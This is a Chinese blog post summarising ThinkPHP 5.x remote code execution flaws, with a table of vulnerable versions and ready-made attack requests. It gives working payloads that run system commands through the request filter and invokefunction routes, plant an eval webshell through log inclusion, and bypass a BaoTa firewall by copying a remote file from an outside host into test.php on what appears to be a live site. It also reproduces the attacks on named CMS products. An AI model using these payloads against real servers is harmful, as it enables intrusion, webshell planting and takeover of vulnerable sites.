zoukankan      html  css  js  c++  java
  • thinkphp5.x系列 RCE总结

    Thinkphp  MVC开发模式

    执行流程:

    首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束

    漏洞原因:路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库

    主要有俩种方法,1.Request中的变量覆盖导致RCE  2.路由控制不严谨导致的RCE

    1.Request中的变量覆盖导致RCE

    版本名 是否可被攻击 攻击条件
    5.0.0 否 无
    5.0.1 否 无
    5.0.2 否 无
    5.0.3 否 无
    5.0.4 否 无
    5.0.5 否 无
    5.0.6 否 无
    5.0.7 否 无
    5.0.8 是 无需开启debug
    5.0.9 是 无需开启debug
    5.0.10 是 无需开启debug
    5.0.11 是 无需开启debug
    5.0.12 是 无需开启debug
    5.0.13 是 需开启debug
    5.0.14 是 需开启debug
    5.0.15 是 需开启debug
    5.0.16 是 需开启debug
    5.0.17 是 需开启debug
    5.0.18 是 需开启debug
    5.0.19 是 需开启debug
    5.0.20 否 无
    5.0.21 是 需开启debug
    5.0.22 是 需开启debug
    5.0.23 是 需开启debug

    5.0.0-5.0.12
    payload:

    POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
    Host: 127.0.0.1:8000
    Content-Length: 52
    Content-Type: application/x-www-form-urlencoded

    s=whoami&_method=__construct&filter[]=system

    5.1版本,需设置error_reporting(0);

    POST /tp5132/public/index.php HTTP/1.1
    Host: 127.0.0.1:8000
    Content-Type: application/x-www-form-urlencoded
    Cookie: XDEBUG_SESSION=PHPSTORM
    Content-Length: 28

    c=system&f=id&_method=filter
    利用文件包含

    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
    利用其他变量传参

    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    2.路由控制不严谨导致的RCE   

    v5.0.23及v5.1.31以下版本

     

    index.php/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


    https://xz.aliyun.com/t/3570 thinkphp win 和linux 的区别

    https://www.butian.net/4e5e5d7364f443e28fbf0d3ae744a59a
    thinkphp 3 指纹识别 4e5e5d7364f443e28fbf0d3ae744a59a GET

    绕宝塔 -主要还是函数和正则上的绕过
    http://yishangtv.com/index.php?s=&Fuck=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)
    _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

    还有一种思路 利用 hink 类库的 方法
    做文件包含,把马内容写到log

    关于第一种方法,在基于tp5开发的cms 复现

    mipcms 最新版本。debug 需要打开

    url : http://127.0.0.1/ms/?s=index

    payload:

    c=assert&f=phpinfo()&_method=filter

     

    关于第二种方法,在基于tp5开发的cms 复现 Powered by qibosoft X1.0 Beta Code ©2003-2018

    http://127.0.0.1/x1(1)/index.php/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

     

  • 相关阅读:
    bootstrap table 怎么自适应宽度
    nginx解决超长请求串(413 request Entity too Large错误解决办法)
    nginx proxy_buffer_size 解决后端服务传输数据过多,其实是header过大的问题
    测试了下boost的序列化反序列化功能
    测试C++代码与WebBrowser HTML的互动
    Open SSL 开发环境配置
    modern-cpp-features
    Qt程序调试之Q_ASSERT断言(条件为真则跳过,否则直接异常+崩溃)
    分布式事务
    Django admin
  • 原文地址:https://www.cnblogs.com/0xdd/p/10848746.html
Copyright © 2011-2022 走看看